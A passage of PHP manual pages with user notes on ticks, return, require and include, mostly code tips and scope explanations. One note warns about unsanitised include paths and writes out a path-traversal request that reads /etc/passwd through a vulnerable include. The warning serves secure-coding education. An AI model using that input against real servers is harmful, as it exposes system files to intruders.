echo -e "TX: $[ $TX2 - $TX1 ] bytes/s \t RX: $[ $RX2 - $RX1 ] bytes/s"
#--= the end. =--
daniel@swn 01-Feb-2003 11:56
<?php
ob_end_clean();
ob_implicit_flush(1);

function a() {
 for($i=0;$i<=100000;$i++) { }
 echo "function a() ";
}
function b() {
 for($i=0;$i<=100000;$i++) { }
 echo "function b() ";
}

register_tick_function ("a");
register_tick_function ("b");

declare (ticks=4)
{
    while(true)
    {
        sleep(1);
        echo "\n<br><b>".time()."</b><br>\n";;
    }
}
?>
You will see that a() and b() are slowing down this process. They are in fact not executed every second as expected. So this function is not a real alternative for multithreading using some slow functions..there is no difference to this way: while (true) { a(); b(); sleep(1); }
xxoes 08-Jan-2003 02:23
If i use ticks i must declare all functions before i call the function.

example:

Dosn't work
<?php
function ticks() {
   echo "tick";
}
register_tick_function("ticks");

declare (ticks=1) 1;

echo "";
echo "";

foo(); // Call to undefined function.

function foo() {
   echo "foo";
}
?>

Work
<?php
function ticks() {
   echo "tick";
}
register_tick_function("ticks");

//declare (ticks=1) 1;

echo "";
echo "";

foo();

function foo() {
   echo "foo";
}
?>

win2k : PHP 4.3.0 (cgi-fcgi)
rob_spamsux at rauchmedien dot ihatespam dot com 19-Mar-2002 02:45
Correction to above note:

Apparently, the end brace '}' at the end of the statement causes a tick.

So using

------------
declare (ticks=1) echo "1 tick after this prints";
------------

gives the expected behavior of causing 1 tick.

Note: the tick is issued after the statement executes.

Also, after playing around with this, I found that it is not really the multi-tasking I had expected. It behaves the same as simply calling the functions. I.e. each function must finish before passing the baton to the next function. They do not run in parallel.

It also seems that they always run in the order in which they were registered.

So,

<?php
------------
# register tick functions
register_tick_function ("a");
register_tick_function ("b");

# make the tick functions run
declare (ticks=1);
?>
------------

is equivalent to

------------
a();
b();
------------

It is simply a convenient way to have functions called periodically while some other code is being executed. I.e. you could use it to periodically check the status of something and then exit the script or do something else based on the status.
rob_spamsux at rauchmedien dot ihatespam dot com 19-Mar-2002 01:58
Here is an example of multi-tasking / multi-threading:

<?php
# declare functions
function a() {
  echo "a";
}
function b() {
  echo "b";
}

# register tick functions
register_tick_function ("a");
register_tick_function ("b");

# make the tick functions run
declare (ticks=1);

# that's all there is to it.
?>

Notes:
This will make functions a and b run once each at the same time.

If you try:

declare (ticks=1) {
  1;
}

They will run twice each. That is because it seems to be an undocumented fact that there is always an extra tick.

Therefore:

declare (ticks=2) {
  1;
}

Will cause them to run once.
switch
return
Control Structures


return

(PHP 4, PHP5)

If called from within a function, the return() statement immediately ends execution of the current function, and returns its argument as the value of the function call. return() will also end the execution of an eval() statement or script file.

If called from the global scope, then execution of the current script file is ended. If the current script file was include()ed or require()ed, then control is passed back to the calling file. Furthermore, if the current script file was include()ed, then the value given to return() will be returned as the value of the include() call. If return() is called from within the main script file, then script execution ends. If the current script file was named by the auto_prepend_file or auto_append_file configuration options in php.ini, then that script file's execution is ended.

For more information, see Returning values.

Note: Note that since return() is a language construct and not a function, the parentheses surrounding its arguments are not required. It is common to leave them out, and you actually should do so as PHP has less work to do in this case.

Note: If no parameter is supplied, then the parentheses must be omitted and NULL will be returned. Calling return() with parentheses but with no arguments will result in a parse error.

Note: You should never use parentheses around your return variable when returning by reference, as this will not work. You can only return variables by reference, not the result of a statement. If you use return ($a); then you're not returning a variable, but the result of the expression ($a) (which is, of course, the value of $a).

User Contributed Notes

MrLavender 02-May-2010 10:01
@Radu

http://www.php.net/manual/en/language.operators.assignment.php

"The value of an assignment expression is the value assigned."

Note "the value assigned", not "the value assigned to".

The value assigned in the expression $a['e'] = 'sometxt' is 'sometxt', and that's what you're returning in function a().
Radu 22-Mar-2010 03:17
When returning an array, you should declare the array before the return, else the result is not as you expect;

  Watch this example:

<?php
function a(){
    return $a['e'] = 'sometxt';
}

function b(){
    $a['e']  = 'sometxt';
    return $a;
}

function c(){
    if(is_array(a())){
        echo 'a is array';
    }else{
        echo 'a is NOT an array';
    }

    if(is_array(b())){
        echo 'b is array';
    }else{
        echo 'b is NOT an array';
    }
}
?>

This will print:
a is NOT an array
b is array
pgl at yoyo dot org 31-Jul-2009 08:23
NB: using return to exit a command-line script will not use the return value as the script's return value. To do that, you need to use, eg, exit(1);
fyrye 31-Jul-2009 03:25
A side note when you return a conditional value the variable type will inherit its type of Boolean
For example
<?php
function foo($SQL){
   $conTemp = new mysqli("locahost", "root", "", "");
   $conTemp->select_db("MyDB");
   return $conTemp->query($SQL) or die("Query Failed!");
}

$result = foo("SELECT UserName FROM Users LIMIT 1");
echo gettype($result); //returns Boolean instead of object or die
?>

Instead be explicit with your function like so
<?php
function foo($SQL){
   $conTemp = new mysqli("locahost", "root", "", "");
   $conTemp->select_db("MyDB");
   if(!$result = $conTemp->query($SQL)){
       return die("Query Failed");
   }
   return $result;
}

$result = foo("SELECT UserName FROM Users LIMIT 1");
echo gettype($result); //Now will return Object or die
?>
list at regularoddity dot com 07-Oct-2008 09:26
As obvious as it may seem, it might still be useful to point out that return called without any value returns null.

<?php
function test() {
  return;
}
print gettype(test()) . "\n";
print (test()?'true':'false') . "\n";
print (!test()?'true':'false') . "\n";
print (test() === false?'true':'false') . "\n";
?>

This returns:

NULL
false
true
false
andrew at neonsurge dot com 15-Aug-2008 01:40
Response to stoic's message below...

I believe the way you've explained this for people may be a bit confusing, and your verbiage is incorrect.  Your script below is technically calling return from a global scope, but as it says right after that in the description above... "If the current script file was include()ed or require()ed, then control is passed back to the calling file".  You are in a included file.  Just making sure that is clear.

Now, the way php works is before it executes actual code it does what you call "processing" is really just a syntax check.  It does this every time per-file that is included before executing that file.  This is a GOOD feature, as it makes sure not to run any part of non-functional code.  What your example might have also said... is that in doing this syntax check it does not execute code, merely runs through your file (or include) checking for syntax errors before execution.  To show that, you should put the echo "b"; and echo "a"; at the start of each file.  This will show that "b" is echoed once, and then "a" is echoed only once, because the first time it syntax checked a.php, it was ok.  But the second time the syntax check failed and thus it was not executed again and terminated execution of the application due to a syntax error.

Just something to help clarify what you have stated in your comments.
stoic 06-Jun-2008 06:21
Just to clear things up, if using return on a global scope it will end EXECUTION but NOT PROCESSING.

for example:

file a.php

<?php

if(defined("A")) return;
define("A", true);

echo "Hello";
?>

file b.php

<?php

include("a.php");
include("a.php");
?>

will output "Hello" only once.

but if file a.php is

<?php

if(defined("A")) return;
define("A", true);

function foo(){
}

?>

running file b.php will produce error:

Fatal Error: Cannot redeclare foo()...
Denis.Gorbachev 02-Dec-2007 02:06
direct true    0.59850406646729
direct false    0.62642693519592
indirect true    0.75077891349792
indirect false    0.73496103286743

It is generally more true, because indirect method implies creating additional variable and assigning a value to it.

But, you know, "results may vary".
mr dot xanadu at gmail dot com 12-Oct-2007 01:56
I was wondering what was quicker:
- return a boolean as soon I know it's value ('direct') or
- save the boolean in a variable and return it at the function's end.

<?php
$times = 50000;

function return_direct ($boolean)
{
    if ($boolean == true)
    {
        return true;
    }
    return false;
}

function return_indirect ($boolean)
{
    $return = false;

    if ($boolean == true)
    {
        $return = true;
    }
    return $return;
}

/* Direct, return true */

$time_start = microtime(true);

for ($i = 1; $i <= $times; $i++)
{
    return_direct(true);
}

$time_end = microtime(true);
$time_direct_true = $time_end - $time_start;

/* Direct, return false */

$time_start = microtime(true);

for ($i = 1; $i <= $times; $i++)
{
    return_direct(false);
}

$time_end = microtime(true);
$time_direct_false = $time_end - $time_start;

/* Indirect, return true */

$time_start = microtime(true);

for ($i = 1; $i <= $times; $i++)
{
    return_indirect(true);
}

$time_end = microtime(true);
$time_indirect_true = $time_end - $time_start;

/* Direct, return false */

$time_start = microtime(true);

for ($i = 1; $i <= $times; $i++)
{
    return_indirect(false);
}

$time_end = microtime(true);
$time_indirect_false = $time_end - $time_start;

echo "<pre>";
echo "direct true\t" . $time_direct_true;
echo "\ndirect false\t" . $time_direct_false;
echo "\nindirect true\t" . $time_indirect_true;
echo "\nindirect false\t" . $time_indirect_false;
echo "<pre>";
?>

Representative results:
direct true    0.163973093033
direct false    0.1270840168
indirect true    0.0733940601349
indirect false    0.0742440223694

Conclusion: saving the result in a variable appears to be faster. (Please note that my test functions are very simple, maybe it's slower on longer functions)
Spacecat 24-Jul-2007 06:13
regardez this code:

print pewt( "hello!" );

function pewt( $arg )
{

include( "some_code.inc" );

}

some_code.inc:

  return strtoupper( $arg );

.. after much hair pulling, discovered why nothing was being returned by the "some_code.inc" code in the function .. the return simply returns the result TO the function (giving the include function a value), not to the CALLING (print pewt). This works:

print pewt( "hello!" );

function pewt( $arg )
{

return include( "some_code.inc" );

}

So, RETURN works relative to block it is executed within.
warhog at warhog dot net 18-Dec-2005 12:28
for those of you who think that using return in a script is the same as using exit note that: using return just exits the execution of the current script, exit the whole execution.

look at that example:

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
return;
?>

(executing a.php:) will echo "ba".

whereas (b.php modified):

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
exit;
?>

(executing a.php:) will echo "b".
declare
require
Control Structures


require

return
include
Control Structures
PHP Manual

require()

(PHP 4, PHP5)

require() is identical to include() except upon failure it will also produce a fatal E_COMPILE_ERROR level error. In other words, it will halt the script whereas include() only emits a warning (E_WARNING) which allows the script to continue.

See the include() documentation for how this works.

User Contributed Notes

bsntech 01-Mar-2011 01:41
If you use the require directive to load a file, your script will die if the file is not found or the user that is running the web server does not have read access to it.  In some cases, this is ok - but if you want a site to still function for visitors without displaying a white page, use the 'include' directive instead.

When using 'include', the site will still load - minus any materials that is in that file.

Brian S.
carlo_greco at live dot it 26-Jun-2010 04:04
If you want to get a parsed PHP file, e.g file.php contains echo 'ciao'; the function below will return you the output of file.php that is ciao

<?php
// file and get, if you need to include a file.php?query_string.

function pinclude($file, $type, $get = null) {
    $p = explode('/', $file);
    $file = end($p);
    $dir = '';
    $n = count($p) - 1;

    for($i = 0; $i < $n; $i++)
        $dir .= $p[$i] . '/';

    if($get !== null) {
        $tmp = $_GET; // back up
        $_GET = array();
        $get = explode('&', $get);
        $n = count($get);

        for($i = 0; $i < $n; $i++) {
            if(strpos($get[$i], '=') === false)
                $_GET[$get[$i]] = 1;
            else {
                list($name, $val) = explode('=', $get[$i], 2);
                $_GET[$name] = $val;
            }
        }
    }

    ob_start();
    chdir($dir);
    require $file;
    $out = ob_get_clean();

    if($tmp)
        $_GET = $tmp;

    return $out;
}

$out = pinclude('./dir/yourfile.php', 'a=b&c=d&e');
echo $out;
// i'm sorry but i forgot post requests...
?>
Wing 10-May-2010 05:04
if you want always include, require, open files using some 'root' folder based path you may may put file '.htroot' in 'root' folder and  use this.

while(!file_exists(getcwd()."/.htroot")){chdir('..');}

This code change current dir to dir where '.htroot' file located and everywhere you can use relative to 'root' paths.

Please avoid absent of '.htroot' file.
pedro dot evangelista at gmail dot com 16-Dec-2008 06:23
Be careful when using symbolic links, because require will search the real path of the file and not the path relative to the symbolic link.

Imagine your script A.php resides on directory /a and you create a symbolic link for it on directory /b/c.
So for the code

<?php
echo realpath("../");
?>

you might expect the directory /b, but actually you get the root directory /.

If you need to include the file /b/B.php inside your A.php, you can't use the following

<?php
require "../B.php";
?>

because it will search the root directory, not the /b directory.

Regards.
duccio at getlocal dot it 23-Nov-2008 01:37
In response to some dot user at notarealdomain dot com:

This is because require executes the code "as if" it was code written inside of the function, inheriting everything including the scope. But here there is something even more interesting:

<requiredfile.php>:
<?php

$this->a.=" is visible also under a require\n";
$b="While the variable b is a local variable of the function\n";
function FunctionUnderRequire() {
    echo "But the functions declared inside of a require called from a class function, just as when defined from inside any other function, are always global\n";
}
?>

<mainfile.php>:
<?php

error_reporting(E_ALL|E_STRICT);

class UserClass {

    protected $a;

    public function UserFunction() {
        $this->a='The class variable a';
        require 'requiredfile.php';
        echo $this->a; // "The class variable a  is visible also under a require\n"
        echo $this->b; // Notice: Undefined property: UserClass::$b
        echo $b; // "While the variable b is a local variable of the function\n"
        $this->FunctionUnderRequire(); //Fatal error!
        FunctionUnderRequire(); // "But the functions..."
    }
}

$UserClass=new UserClass;
$UserClass->UserFunction();
?>

I'm wondering if there is a method for declaring class public/private/protected functions from inside a require/include...
ricardo dot ferro at gmail dot com 14-May-2008 11:15
Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
            trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
            continue;
        }

        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (array_search($path, $paths) === false)
            array_push($paths, $path);

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

function remove_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (($k = array_search($path, $paths)) !== false)
            unset($paths[$k]);
        else
            continue;

        if (!count($paths))
        {
            trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
            continue;
        }

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

?>
Peter McDonald 15-Oct-2007 09:21
re the comment by moazzamk at gmail dot com

As the manual states require and require_once as of PHP 4.02 no longer call the file if the line of code it is on should not be executed.
scott 20-Sep-2007 01:27
If you want to verify that a file can be included or required, the simplest solution I've found is just to check that the file exists.

<?php

    if(file_exists($pageContentInc)){
        require_once $pageContentInc;
    }else{
        $pageContentInc = "common/content_404.inc";
        require_once $pageContentInc;
    }
?>

Does it really need to be any harder than that?
daniel at nohair dot com 06-Sep-2007 07:24
I love php.  But when file can't be included, 'require' or 'require_once' throw fatal error and halt the script, which is almost never desirable on a mission-critical production server.  I think it may be better to use something like the following.

<?php

if (@include 'plan_A.php') {
    // Plan A;
} elseif (@include 'plan_B.php') {
    // Plan B;
} else {
    // Hope never happens.  If does, then Email the webmaster;
    // Call 911, Medic, Fire, Police, the president;
    // Change hard drive, server, hosting service;
}

?>

Or handle trouble first is you wish

<?php

if (!@include 'plan_A.php') {
    // Someone has kidnapped/corrupted Plan_A.php;
    // Email the webmaster;
    // Change hard drive, server, hosting service;
} else {
    // Plan A;
}

?>
moazzamk at gmail dot com 17-Jul-2007 08:51
require and include read the included files even if they are not executed in the code. You can use eval() to avoid this.

eval('require filename;');

I don't know if it's faster to have the files included the regular way or the eval way though (in other words, I haven't tested their efficiency). It will be great if someone can test which is better.
some dot user at notarealdomain dot com 11-Jul-2007 07:58
Discovered a bit of weird behavior yesterday involving require() (using PHP 5.2.3).  If you use require() inside a function, the "globals" in the file will be local to the function.  An example of this:

test.php:
<?php
  function TestFunc()
  {
    require('test2.php');
    echo "<pre>" . print_r($GLOBALS, true) . "</pre>";
  }
?>

test2.php:
<?php
  $MyTestGlobal = Array();
?>

This happens because require is a statement that _inlines_ the target code - not a function that gets called.

To fix this, use the $GLOBALS superglobal:

test2.php:
<?php
  $GLOBALS["MyTestGlobal"] = Array();
?>
chris at chrisstockton dot org 19-Jun-2007 05:06
Remember, when using require that it is a statement, not a function. It's not necessary to write:
<?php
 require('somefile.php');
?>

The following:
<?php
require 'somefile.php';
?>

Is preferred, it will prevent your peers from giving you a hard time and a trivial conversation about what require really is.
31-Jan-2007 03:38
A note that drove me nuts for 2 days!

Be carfull if you have a newline or blank space befor your php tags in the included/required file it will read as html and outputed.

If your running your output through javascript string evaluations which would be sensitive to newlines/white spaces be carfull that the first chars in the file are the php tages eg <?php
bmessenger at 3servicesolution dot com 17-Oct-2006 01:06
// Looks like I might have a fix for some on the
// relative path issue.

if (!function_exists('bugFixRequirePath'))
{
    function bugFixRequirePath($newPath)
    {
        $stringPath = dirname(__FILE__);
        if (strstr($stringPath,":")) $stringExplode = "\\";
        else $stringExplode = "/";

        $paths = explode($stringExplode,$stringPath);

        $newPaths = explode("/",$newPath);

        if (count($newPaths) > 0)
        {
            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") array_pop($paths);
            }

            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") unset($newPaths[$i]);
            }

            reset($newPaths);

            $stringNewPath = implode($stringExplode,$paths).
                $stringExplode.implode($stringExplode,$newPaths);

                return $stringNewPath;
        }
    }
}

require_once(bugFixRequirePath("../config.php"));
gabe at websaviour dot com 13-Jul-2006 05:42
If you are experiencing a bug related to using relative paths with include or require, it may be related to a grandparent directory that is executable but not readable.  It will cause __FILE__ to return a relative path instead of the full path which it is supposed to show.  This manifests itself in interesting ways that can be seemingly unrelated.  For instance, I discovered it using the Smarty {debug} command which failed to find its template due to this issue.  Please see the following for more details:

http://bugs.php.net/bug.php?id=34552
http://shiftmanager.net/~kurt/test/
Inc 31-May-2006 08:35
I have found a problem when I try to access a php file via require($class_directory)

// # $class_directory contain a long full path and dot into the last folder.
// # $class_directory = "/var/.../app/system/plugintoto_1.0/class_plugintoto_1.0.php";

// dot ('.') and minus ('-') are not accepted in require !
tjeerd 11-May-2006 06:41
When using symbolic links with PHP, specify a dotslash './page.php' path to ensure that PHP is looking in the right directory with nested requires:

E.g. when the required actual page1.php contains other require statements to, say page2.php, PHP will search the path that the symbolic link points to, instead of the path where the symbolic link lives. To let PHP find the other page2.php in the path of the symbolic link, a require('./page2.php'); statement will solve the puzzle.
webmaster at netgeekz dot net 24-Feb-2006 09:34
I have learnt to manipulate this code into an effecitve and easy to use form. I use it with require_once, but it could be used for require.

require_once($_SERVER['DOCUMENT_ROOT'].'/includes/top.php');

This mainly jumps back to the servers document root and then begins to enter the directories defined until it finds the file. In this case it would go back to the root of the server, or whatever your document root is, and then enter includes. there it would search for the top.php file. Simple to use, yet effective...espcially for people like me who re-use code or move files to different directories. I don't have to fix the includes, because they all work the same way.
steve at walkerfx dot com 24-Feb-2006 03:24
WARNING: Be absolutely sure that your include paths are relative or directory based and not http!!!

   require("http://www.mydomain.com/somefile.php"); //WRONG!!
   require("usr/mydomain/somefile.php"); //CORRECT!!

If you are intending to access local files and you accidentally use an http address, the request will probably work. However, this creates a wierd situation that can cause all sorts of bugs in your scripts and slow your code down.

The problem is that the include spawns off another php request, and is essentially requesting the file in the same a way a remote viewer would. So rather than including the intended php code, instead you get the processed output from that single file executed in its own private scope.

It's a simple mistake, but it can be an awful problem to debug.

Walker
dave at davidhbrown dot us 22-Jan-2006 12:08
re: danielm at unb dot br...

$_SERVER['DOCUMENT_ROOT'] is very useful, but it is not available with all web servers. Apache has it; IIS doesn't.

I use the following to make my PHP applications work in more situations:
<?php
if (!defined("BASE_PATH")) define('BASE_PATH', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : substr($_SERVER['PATH_TRANSLATED'],0, -1*strlen($_SERVER['SCRIPT_NAME'])));
?>

...but even that gets tripped up by symlinks to different mount points, etc. You could substitute realpath($_SERVER['PATH_TRANSLATED']), but that function has been reported not to work on some (Windows) servers. One could use the PATH_TRANSLATED for both servers, but I figure if Apache is going to tell me exactly what I want to know, I should listen.
tuxedobob at mac dot com 06-Jul-2005 11:54
Something which may not be immediately obvious is that if you use double quotes on the filename, you can use variables to specify the filename, allowing you to do something like this:

<?php
$query = "SELECT filename FROM updates WHERE version>$current ORDER BY version";
$updateresult = mysql_query($query) or exit($query.'<br />'.mysql_error());
while ($updaterow = mysql_fetch_row($updateresult)) {
    require "$updaterow[0]";
}
?>

Drop this in a script on a server and you can push updates to your clients. Obviously, make sure you only run scripts you want to.
Marc 06-May-2005 10:42
This will sound elementary, but for C++ native programmers, be sure NOT to put a '#' in front of your include statements! The parser will not give you an error, but also will not include the file, making for a tedious debugging process.

In short, USE:
<?php
     include "yourfile.php";
?>

and DON'T use:
<?php
     #include "yourfile.php";
?>
richardbrenner(-at- )gmx(-)at 07-Apr-2005 01:58
If you use relativ paths in a php script (file A) that can be required by another php script (file B), be aware that the relativ paths in file A will be relativ to the directory, where file B is stored.
You can use the following syntax in file A, to be sure that the paths are relativ to the directory of file A:

<?
require(dirname(__FILE__)."/path/relative/file_to_include.php");
?>

Greetings,
Richard
10-Feb-2005 10:29
Note when calling any require or include function, that the call will block if the script given as the parameter is excecuting.
Because of this one should be careful when using blocking functions like sleep() in a script which is included by another.
danielm at unb dot br 21-Nov-2004 11:50
if you want to include files with an absolut path reference, you can use:

require ($_SERVER["DOCUMENT_ROOT"]."/path/to/file.php");

this way you can organize your files in subdirectories trees.
return
include
Control Structures


include

require
require_once
Control Structures
PHP Manual

include()

(PHP 4, PHP5)

The include() statement includes and evaluates the specified file.

The documentation below also applies to require().

Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include() will finally check in the calling script's own directory and the current working directory before failing. The include() construct will emit a warning if it cannot find a file; this is different behavior from require(), which will emit a fatal error.

If a path is defined — whether absolute (starting with a drive letter or \ on Windows, or / on Unix/Linux systems) or relative to the current directory (starting with . or ..) — the include_path will be ignored altogether. For example, if a filename begins with ../, the parser will look in the parent directory to find the requested file.

For more information on how PHP handles including files and the include path, see the documentation for include_path.

When a file is included, the code it contains inherits the variable scope of the line on which the include occurs. Any variables available at that line in the calling file will be available within the called file, from that point forward. However, all functions and classes defined in the included file have the global scope.

Example #1 Basic include() example

vars.php
<?php

$color = 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo "A $color $fruit"; // A green apple

?>

If the include occurs inside a function within the calling file, then all of the code contained in the called file will behave as though it had been defined inside that function. So, it will follow the variable scope of that function. An exception to this rule are magic constants which are evaluated by the parser before the include occurs.

Example #2 Including within functions

<?php

function foo()
{
    global $color;

    include 'vars.php';

    echo "A $color $fruit";
}

/* vars.php is in the scope of foo() so     *
* $fruit is NOT available outside of this  *
* scope.  $color is because we declared it *
* as global.                               */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

When a file is included, parsing drops out of PHP mode and into HTML mode at the beginning of the target file, and resumes again at the end. For this reason, any code inside the target file which should be executed as PHP code must be enclosed within valid PHP start and end tags.

If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Supported Protocols and Wrappers for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using a URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

Example #3 include() through HTTP

<?php

/* This example assumes that www.example.com is configured to parse .php
* files and not .txt files. Also, 'Works' here means that the variables
* $foo and $bar are available within the included file. */

// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';

// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo = 1;
$bar = 2;
include 'file.txt';  // Works.
include 'file.php';  // Works.

?>

Warning

Security warning

Remote file may be processed at the remote server (depending on the file extension and the fact if the remote server runs PHP or not) but it still has to produce a valid PHP script because it will be processed at the local server. If the file from the remote server should be processed there and outputted only, readfile() is much better function to use. Otherwise, special care should be taken to secure the remote script to produce a valid and desired code.

See also Remote files, fopen() and file() for related information.

Handling Returns: It is possible to execute a return() statement inside an included file in order to terminate processing in that file and return to the script which called it. Also, it's possible to return values from included files. You can take the value of the include call as you would for a normal function. This is not, however, possible when including remote files unless the output of the remote file has valid PHP start and end tags (as with any local file). You can declare the needed variables within those tags and they will be introduced at whichever point the file was included.

Because include() is a special language construct, parentheses are not needed around its argument. Take care when comparing return value.

Example #4 Comparing return value of include

<?php
// won't work, evaluated as include(('vars.php') == 'OK'), i.e. include('')
if (include('vars.php') == 'OK') {
    echo 'OK';
}

// works
if ((include 'vars.php') == 'OK') {
    echo 'OK';
}
?>

Example #5 include() and the return() statement

return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // prints 'PHP'

$bar = include 'noreturn.php';

echo $bar; // prints 1

?>

$bar is the value 1 because the include was successful. Notice the difference between the above examples. The first uses return() within the included file while the other does not. If the file can't be included, FALSE is returned and E_WARNING is issued.

If there are functions defined in the included file, they can be used in the main file independent if they are before return() or after. If the file is included twice, PHP 5 issues fatal error because functions were already declared, while PHP 4 doesn't complain about functions defined after return(). It is recommended to use include_once() instead of checking if the file was already included and conditionally return inside the included file.

Another way to "include" a PHP file into a variable is to capture the output by using the Output Control Functions with include(). For example:

Example #6 Using output buffering to include a PHP file into a string

<?php
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
    if (is_file($filename)) {
        ob_start();
        include $filename;
        return ob_get_clean();
    }
    return false;
}

?>

In order to automatically include files within scripts, see also the auto_prepend_file and auto_append_file configuration options in php.ini.

Note: Because this is a language construct and not a function, it cannot be called using variable functions

See also require(), require_once(),
include_once(), get_included_files(),
readfile(), virtual(), and
include_path.

User Contributed Notes

bimal at sanjaal dot com 15-Jun-2011 01:22
When two different files located in separate directories try to INCLUDE/REQUIRE the relative file names, this may help you correctly FIND the included files.

The code is a snapshot only. Your environment might change.

<?php
$now_at_dir = getcwd();
chdir(realpath(dirname(__FILE__).'/../../../somewhere/'));

# Out of the general area
require_once('a_differnet_path/browse_wine.php');

chdir($now_at_dir);
?>

The basic trick is in saving the current directory, changing to the required directory, including the file, and then return back to the original directory.
contact at muluweb dot net 30-Mar-2011 09:20
I haven't found that information anywhere else, but here is what I've found on many servers and it has always been the case so far.
==> include uses HTTP/1.0, not HTTP/1.1

It could be one criterion on a whole to help you recognizing where the request comes from.

Have fun
Bob Jones 19-Mar-2011 04:22
include() when used to load configuration information has a scary security flaw, if someone corrupts the PHP header in the included file it will happily print the config file to every page which includes it as plain text.

Luckily there is a quick and easy workout for this behaviour (which is alluded to in this article):
<?php
ob_start();//Hook output buffer
include("config.php");
ob_end_clean();//Clear output buffer
?>

This will stop the included file from being printed as plain text but also stops you using echo or other print commands from within the included file. It is only appropriate when loading configuration information.

I'd recommend doing this whenever you pick up database usernames and passwords from a *.php. It only takes a single wrong character to show everyone in the world that information.
sPlayer 02-Mar-2011 09:09
Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
phatum at mail dot ru 27-Oct-2010 03:23
I found a good solution how to include a text that is defined as a string and contains php-code that must be executed.
All defined local vars are exported out to the global scope after execution.

<?php
   function include_text($text) {
       // executing script
        eval ("?>$text");
        // exporting global vars
        $GLOBALS += get_defined_vars();
   }

   include_text ('<? $a = 2;  $b = $a + 2; ?>');
   echo "a = $a<br>";
   echo "b = $b";
?>

Output:
a = 2
b = 4
joe dot naylor at gmail dot com 22-Oct-2010 02:11
Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
   include('pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.
emanueledelgrande ad email dot it 09-Jul-2010 02:23
About the problem to include a script in the global scope, after many tests with different solutions, I reached my point. I post it in the hope it may be useful.

At first I built my "globalScopeSimulator" class, but an include called inside a class is not the best solution: if it contains some user code, the user will access to the $this reserved variable and even to all the private members... Critical issue!

That's why I turned back into a function solution.

Another advantage is that I didn't have to make use of the deprecable "global" keyword, since I *imported* the global scope inside the function, with the extract() function.
Using the EXTR_REFS flag this trick does not waste memory, since the extracted variables are not a copy, but a reference to the global ones.

<?php
function global_include($script_path) {
    // check if the file to include exists:
    if (isset($script_path) && is_file($script_path)) {
        // extract variables from the global scope:
        extract($GLOBALS, EXTR_REFS);
        ob_start();
        include($script_path);
        return ob_get_clean();
    } else {
        ob_clean();
        trigger_error('The script to parse in the global scope was not found');
    }
}
?>

Hope it helps... :)
Cheers and happy coding!
creator at mindcreations dot com 24-May-2010 02:28
If you can't change your include path or you have to leave some php libraries where they are, you can just do a chdir($localdir) before the include or require statement to make sure that the local dir now is $localdir.

This is the typical case if you have to include some other app classes and you do not want to move the app files around.

This is just a workaround for those who can't benefit from all other solutions proposed.
tim at atwoodglass dot com 14-Apr-2010 07:18
It appears to be a common problem for an include file to know the directory level distance from the logical root of a site to the script including the file (what I will call the "includer"). This is required if the include file needs to refer to other files such as images or nested includes and is included from within files at different directory levels.  The relative file depth (../ or ../../ etc.) needs to be known.

The solutions offered above break with anything which makes the true server root different from the logical root for the site. This includes use of Apache alias directories, directory links or simply the common practice of using a sub-folder under the www directory for testing but not production.

The only solution I have found so far is to create an include file at a known directory level which gets included at the beginning of every page in the site. This is common with headers such as a header.inc.php file. At the start of this include file have the following code:

<?php
    session_start(); /* if not already done */
    /* replace value below with appropriate header to root distance of this include file */
    $header_to_root_distance = 1;
    $header_dir = dirname(__FILE__);
    $root_distance = substr_count($header_dir, DIRECTORY_SEPARATOR) - $header_to_root_distance;
    $includer_distance = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), "/");
    $relative_path = str_repeat('../', $includer_distance - $root_distance);
    $_SESSION['relative_path'] = $relative_path;
?>

The session variable "relative_path" will now always contain the correct relative path back the site logical root and may be concatenated with file references so they will work no matter which directory level the main includer file resides at within the site.
this dot person at joaocunha dot eti dot br 23-Dec-2009 05:20
AVOID ZERO BYTE ORDER MARK!

